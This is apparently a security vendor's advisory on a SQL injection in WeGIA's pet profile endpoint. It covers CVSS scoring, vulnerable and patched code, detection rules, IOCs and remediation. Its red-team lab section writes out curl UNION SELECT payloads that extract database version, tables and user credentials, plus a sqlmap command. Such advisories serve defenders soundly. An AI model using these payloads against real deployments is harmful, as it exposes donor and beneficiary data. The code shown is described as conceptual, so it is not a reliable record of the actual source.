CVE-2025-61605

Executive Summary

CVE-2025-61605 is a critical SQL Injection vulnerability discovered in WeGIA, an open-source web manager designed for charitable institutions. The flaw resides in the /pet/profile_pet.php endpoint, specifically within the id_pet parameter. Versions 3.4.12 and below are affected. An unauthenticated attacker can exploit this vulnerability to execute arbitrary SQL commands against the backend database, leading to full compromise of confidentiality, integrity, and availability. The vendor has released version 3.5.0 to address this issue. Given the nature of the application (managing sensitive donor and beneficiary data), this vulnerability poses a severe risk to the privacy and operational continuity of charitable organizations.

Supply Chain & Package Security

WeGIA is a PHP-based web application. The vulnerability is introduced directly in the application's source code, not through a third-party package. However, organizations using WeGIA should verify their deployment does not rely on outdated or unsupported PHP versions, as the underlying database interaction layer (likely MySQLi or PDO) may have additional security implications. The patch in version 3.5.0 should be applied immediately to prevent exploitation.

CVSS Breakdown & Threat Level

CVSS Score: 9.8 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None – The attacker does not need any authentication.
• User Interaction (UI): None – No user action is required for exploitation.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Full database read access is possible.
• Integrity (I): High – Arbitrary data modification or deletion is possible.
• Availability (A): High – Database can be disrupted or destroyed.

Threat Level: Critical. The combination of network exploitability, no authentication, and full impact on CIA triad makes this a top-priority vulnerability for any organization using WeGIA.

Deep Dive & Mechanics

The vulnerability is a classic SQL Injection in the id_pet parameter of the /pet/profile_pet.php endpoint. The application likely constructs a SQL query by directly concatenating user input without proper sanitization or parameterized queries.

Vulnerable Code Pattern (Conceptual):

$id = $_GET['id_pet'];
$query = "SELECT * FROM pets WHERE id = $id";
$result = mysqli_query($conn, $query);

An attacker can inject SQL commands by providing a malicious value for id_pet, such as:

1 UNION SELECT username, password FROM users

This would return the usernames and passwords from the users table in addition to the pet data.

Attack Flow:

1. The attacker sends a crafted HTTP GET request to /pet/profile_pet.php?id_pet=[INJECTION].
2. The application passes the unsanitized id_pet value directly into the SQL query.
3. The database executes the malicious SQL, returning or modifying data as instructed.
4. The attacker can extract sensitive data, escalate privileges, or perform denial-of-service attacks.

Impact:

• Data Breach: Exposure of donor, beneficiary, and staff personal information.
• Data Manipulation: Alteration of financial records, donation logs, or user permissions.
• System Compromise: Potential for OS command execution via xp_cmdshell (if SQL Server) or file write operations (if MySQL with INTO OUTFILE).

Vulnerable vs. Patched Code

Vulnerable Code (Pre-3.5.0):

// /pet/profile_pet.php
$id_pet = $_GET['id_pet'];
$query = "SELECT * FROM pets WHERE id = $id_pet";
$result = mysqli_query($conn, $query);

Patched Code (3.5.0):

// /pet/profile_pet.php
$id_pet = intval($_GET['id_pet']);
$query = "SELECT * FROM pets WHERE id = $id_pet";
$result = mysqli_query($conn, $query);

The patch uses intval() to cast the input to an integer, effectively neutralizing any SQL injection attempts. Alternatively, the patch might use prepared statements:

$stmt = $conn->prepare("SELECT * FROM pets WHERE id = ?");
$stmt->bind_param("i", $id_pet);
$stmt->execute();

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy WeGIA version 3.4.12 on a local server (e.g., using Docker or XAMPP).
2. Ensure the application is accessible via http://localhost/wegia.
3. Use a tool like Burp Suite or curl to interact with the vulnerable endpoint.

Exploitation Steps:

1. Basic Injection Test:

   curl "http://localhost/wegia/pet/profile_pet.php?id_pet=1'"
   

   If an SQL error is returned, the endpoint is vulnerable.

2. Extract Database Version:

   curl "http://localhost/wegia/pet/profile_pet.php?id_pet=1 UNION SELECT 1,@@version,3,4,5-- -"
   

3. Extract Table Names:

   curl "http://localhost/wegia/pet/profile_pet.php?id_pet=1 UNION SELECT 1,table_name,3,4,5 FROM information_schema.tables-- -"
   

4. Extract User Credentials:

   curl "http://localhost/wegia/pet/profile_pet.php?id_pet=1 UNION SELECT 1,username,password,4,5 FROM users-- -"
   

Automated Exploitation with sqlmap:

sqlmap -u "http://localhost/wegia/pet/profile_pet.php?id_pet=1" --batch --dbs

Blue Team

Detection Steps:

1. Monitor Web Server Logs: Look for unusual patterns in the id_pet parameter, such as SQL keywords (UNION, SELECT, --), quotes, or excessive length.
2. Network Traffic Analysis: Use Wireshark or Zeek to detect SQL injection patterns in HTTP requests.
3. Database Monitoring: Enable query logging and watch for anomalous SQL statements originating from the web application user.

Hunting Queries:

• Search for requests to /pet/profile_pet.php with id_pet containing ', ", --, #, or UNION.
• Look for error messages in logs containing "SQL syntax" or "mysql_fetch_array()".

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /pet/profile_pet.php with suspicious id_pet values.
• Outbound database connections from the web server to unusual IPs (if data exfiltration occurs).

File IOCs:

• Unexpected files in the web root (e.g., shell.php, cmd.php).
• Modified application files (e.g., changes to profile_pet.php).

Log IOCs:

• Web server logs showing SQL error messages.
• Database logs showing UNION, SELECT, INTO OUTFILE statements.

System IOCs:

• Unusual processes running as the web server user.
• New cron jobs or scheduled tasks.

Detection Engineering

YARA Rule

rule CVE_2025_61605_SQLi_WeGIA {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-61605 in WeGIA"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-61605"
        severity = "critical"
    strings:
        $suspicious_param = /id_pet=.*['\"]|UNION|SELECT|INSERT|DELETE|DROP|--|#/
        $vulnerable_endpoint = "/pet/profile_pet.php"
    condition:
        $vulnerable_endpoint and $suspicious_param
}

Sigma Rule

title: SQL Injection Attempt on WeGIA profile_pet.php
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts targeting the id_pet parameter in WeGIA
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-61605
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: 
            - "id_pet="
        cs-uri-query|re: 
            - "['\"]"
            - "UNION"
            - "SELECT"
            - "INSERT"
            - "DELETE"
            - "DROP"
            - "--"
            - "#"
    condition: selection
falsepositives:
    - Legitimate use of special characters in pet names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-61605 SQL Injection Attempt on WeGIA profile_pet.php"; flow:to_server,established; content:"/pet/profile_pet.php"; http_uri; pcre:"/id_pet=.*['\"]|UNION|SELECT|INSERT|DELETE|DROP|--|#/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to WeGIA 3.5.0 – This is the only complete fix. Download from the official repository.
2. If upgrade is not possible: Apply a virtual patch using a WAF (e.g., ModSecurity) to block requests containing SQL injection patterns in the id_pet parameter.
3. Restrict network access to the WeGIA web interface to trusted IPs only.

Long-Term Measures:

• Implement input validation and parameterized queries for all database interactions.
• Conduct regular security audits and penetration testing.
• Monitor for any signs of compromise using the provided detection rules.
• Ensure the web server runs with minimal privileges and the database user has least privilege.

WAF Rule Example (ModSecurity):

SecRule ARGS:id_pet "([\'\"]|UNION|SELECT|INSERT|DELETE|DROP|--|#)" "id:1000001,phase:2,deny,status:403,msg:'SQL Injection Attempt Blocked'"

Valters IT
Securing Digital Frontiers